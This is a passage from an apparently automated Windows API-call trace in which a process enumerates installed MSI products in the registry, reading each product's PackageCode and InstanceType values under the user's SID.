out: lpName="22BEFC8F7E2A1793E9ADB411DEFE1C58", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.781] GetCurrentThreadId () returned 0xf50 [0068.782] GetCurrentThreadId () returned 0xf50 [0068.782] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.782] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.782] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.782] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.782] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.782] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.782] GetCurrentThreadId () returned 0xf50 [0068.782] GetCurrentThreadId () returned 0xf50 [0068.782] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.782] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.782] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.782] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.782] LocalFree (hMem=0x32f770) returned 0x0 [0068.782] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.782] GetCurrentThreadId () returned 0xf50 [0068.782] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.782] lstrlenW (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 38 [0068.782] lstrlenW (lpString="22BEFC8F7E2A1793E9ADB411DEFE1C58") returned 32 [0068.782] GetCurrentThreadId () returned 0xf50 [0068.783] GetCurrentThreadId () returned 0xf50 [0068.783] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.783] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.783] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.783] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.783] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.783] lstrlenW (lpString="22BEFC8F7E2A1793E9ADB411DEFE1C58") returned 32 [0068.783] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.783] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\22BEFC8F7E2A1793E9ADB411DEFE1C58", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.783] GetCurrentThreadId () returned 0xf50 [0068.783] GetCurrentThreadId () returned 0xf50 [0068.783] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.783] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.783] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.783] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.783] LocalFree (hMem=0x32f770) returned 0x0 [0068.783] lstrlenW (lpString="22BEFC8F7E2A1793E9ADB411DEFE1C58") returned 32 [0068.783] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.783] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\22BEFC8F7E2A1793E9ADB411DEFE1C58", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.783] lstrlenW (lpString="22BEFC8F7E2A1793E9ADB411DEFE1C58") returned 32 [0068.783] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.783] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\22BEFC8F7E2A1793E9ADB411DEFE1C58", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.784] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="42DF3075D2FB41D4BAF24E510A63E136", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.784] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.784] lstrlenW (lpString="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}") returned 38 [0068.784] lstrlenW (lpString="22BEFC8F7E2A1793E9ADB411DEFE1C58") returned 32 [0068.784] lstrlenW (lpString="22BEFC8F7E2A1793E9ADB411DEFE1C58") returned 32 [0068.784] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.784] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\22BEFC8F7E2A1793E9ADB411DEFE1C58", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.784] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.784] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.784] lstrlenW (lpString="0") returned 1 [0068.784] lstrlenW (lpString="0") returned 1 [0068.784] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.784] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{5703FD24-BF2D-4D14-AB2F-E415A0361E63}") returned 1 [0068.784] GetCurrentThreadId () returned 0xf50 [0068.784] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.784] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x1d, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="2C47B0D78F3C1FA449F0DC97BAB4D2EC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.784] GetCurrentThreadId () returned 0xf50 [0068.784] GetCurrentThreadId () returned 0xf50 [0068.785] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.785] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.785] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.785] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.785] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.785] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.785] GetCurrentThreadId () returned 0xf50 [0068.785] GetCurrentThreadId () returned 0xf50 [0068.785] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.785] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.785] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.785] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.785] LocalFree (hMem=0x32f770) returned 0x0 [0068.785] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.785] GetCurrentThreadId () returned 0xf50 [0068.785] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.785] lstrlenW (lpString="{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}") returned 38 [0068.785] lstrlenW (lpString="2C47B0D78F3C1FA449F0DC97BAB4D2EC") returned 32 [0068.785] GetCurrentThreadId () returned 0xf50 [0068.785] GetCurrentThreadId () returned 0xf50 [0068.785] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.786] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.786] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.786] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.786] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.786] lstrlenW (lpString="2C47B0D78F3C1FA449F0DC97BAB4D2EC") returned 32 [0068.786] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.786] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\2C47B0D78F3C1FA449F0DC97BAB4D2EC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.786] GetCurrentThreadId () returned 0xf50 [0068.786] GetCurrentThreadId () returned 0xf50 [0068.786] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.786] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.786] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.786] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.786] LocalFree (hMem=0x32f770) returned 0x0 [0068.786] lstrlenW (lpString="2C47B0D78F3C1FA449F0DC97BAB4D2EC") returned 32 [0068.786] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.786] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\2C47B0D78F3C1FA449F0DC97BAB4D2EC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.786] lstrlenW (lpString="2C47B0D78F3C1FA449F0DC97BAB4D2EC") returned 32 [0068.786] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.786] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\2C47B0D78F3C1FA449F0DC97BAB4D2EC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.786] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="EE4BAEBA04226FE4D98D2A24F20C800E", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.787] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.787] lstrlenW (lpString="{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}") returned 38 [0068.787] lstrlenW (lpString="2C47B0D78F3C1FA449F0DC97BAB4D2EC") returned 32 [0068.787] lstrlenW (lpString="2C47B0D78F3C1FA449F0DC97BAB4D2EC") returned 32 [0068.787] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.787] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\2C47B0D78F3C1FA449F0DC97BAB4D2EC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.787] RegQueryValueExW (in: hKey=0x1d8, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.787] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.787] lstrlenW (lpString="0") returned 1 [0068.787] lstrlenW (lpString="0") returned 1 [0068.787] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.787] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{ABEAB4EE-2240-4EF6-9DD8-A2422FC008E0}") returned -1 [0068.787] GetCurrentThreadId () returned 0xf50 [0068.788] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.788] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x1e, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="47586AF0B09600B498AA2B9864324194", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.788] GetCurrentThreadId () returned 0xf50 [0068.788] GetCurrentThreadId () returned 0xf50 [0068.788] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.788] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.788] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.788] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.788] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.789] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.789] GetCurrentThreadId () returned 0xf50 [0068.789] GetCurrentThreadId () returned 0xf50 [0068.789] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.789] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.789] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.789] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.789] LocalFree (hMem=0x32f770) returned 0x0 [0068.789] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.789] GetCurrentThreadId () returned 0xf50 [0068.789] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.789] lstrlenW (lpString="{0FA68574-690B-4B00-89AA-B28946231449}") returned 38 [0068.789] lstrlenW (lpString="47586AF0B09600B498AA2B9864324194") returned 32 [0068.789] GetCurrentThreadId () returned 0xf50 [0068.789] GetCurrentThreadId () returned 0xf50 [0068.789] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.789] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.789] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.789] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.789] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.789] lstrlenW (lpString="47586AF0B09600B498AA2B9864324194") returned 32 [0068.790] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.790] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\47586AF0B09600B498AA2B9864324194", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.790] GetCurrentThreadId () returned 0xf50 [0068.790] GetCurrentThreadId () returned 0xf50 [0068.790] SetThreadToken 